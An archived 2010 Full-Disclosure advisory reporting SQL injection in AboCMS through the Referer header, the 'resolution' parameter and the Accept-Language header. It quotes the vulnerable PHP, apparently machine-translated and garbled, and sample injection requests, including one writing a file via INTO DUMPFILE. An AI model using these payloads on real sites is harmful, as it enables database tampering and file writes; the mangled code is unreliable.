full-disclosure - AboCMS SQL injection (abocms.ru)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Thu, 18 Mar 2010 19:48:07 +0300
From: Владимир Воронцов
	<vladimir.vorontsov@...ec.ru>
To: <full-disclosure@...ts.grok.org.uk>
Subject: AboCMS SQL injection (abocms.ru)

[ONSEC-10-003] AboCMS SQL inj
Target: AboCMS <= 5.4 (fixpack unknown)
Type: SQL инъекция
Rist: Medium
Find date: 12.03.2010
Report date: 12.03.2010
Fix date: 17.03.2010
Author: Vladimir Vorontsov
OnSec Russian Security Group (onsec [dot] ru)
Original links: http://onsec.ru/vuln?id=19

In the popular content management system AboCMS version 5.2 found a
critical vulnerability. Errors allow an attacker to modify the query syntax
to the database.
It exists because of the lack of data filtering of HTTP headers and data
in the request variables. 

1. Vulnerability in the header data HTTP Referer. 

Exploitation of vulnerability is possible when the option rewrite_mod
settings management system. Vulnerable code: 

$ url_info = parse_url ($ _SERVER [ 'HTTP_REFERER']); 
if ($ CONFIG [ 'rewrite_mod']) ( 
$ link = @ $ url_info [ 'path']? preg_replace ( "/ ^ \ / (rus | ukr | blr
| de | frn | eng) \ /? / i", "", $ url_info [ 'path']): ""; 
/ * 
$ amp_pos = strpos ($ link, "&"); 
$ link = FALSE! == $ amp_pos? substr ($ link, 0, $ amp_pos): $ link; 

* / 
if ($ link =='/') $ link = null; 
    $ by = 'address'; 
) Else ( 
    $ link = array (); 
    parse_str (@ $ url_info [ 'query'], $ link); 
    $ link = (@ $ link [ 'link'] & & $ link [ 'link']!='/')? My_Sql::
escape ($ link [ 'link']):''; 
    $ by = 'link'; 
) 

Implementation: 

GET http://localhost/c.php HTTP/1.1 

Referer: http://asd.asd/'/**/ INTO / ** / dumpfile /**/' C: / onsec.txt ' 

2. Vulnerability in the variable data resolution request GET. 

Vulnerable code: 

if (@ $ _GET [ 'resolution']) ( 
$ user_resolution = $ _GET [ 'resolution']; 
) Else ( 
$ user_resolution = 'Another'; 
) 

Implementation: 

GET http://localhost/c.php?resolution = "injection / ** / to / ** / insert

3. Vulnerability in the header data HTTP Accept-Language 

Vulnerable code: 

$ user_lang = $ _SERVER [ 'HTTP_ACCEPT_LANGUAGE']; 

Implementation: 

GET http://localhost/c.php HTTP 1.1 

Accept-language: "injection / ** / to / ** / insert

-- 
Best regards, 
Vladimir Vorontsov
ONsec security expert

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/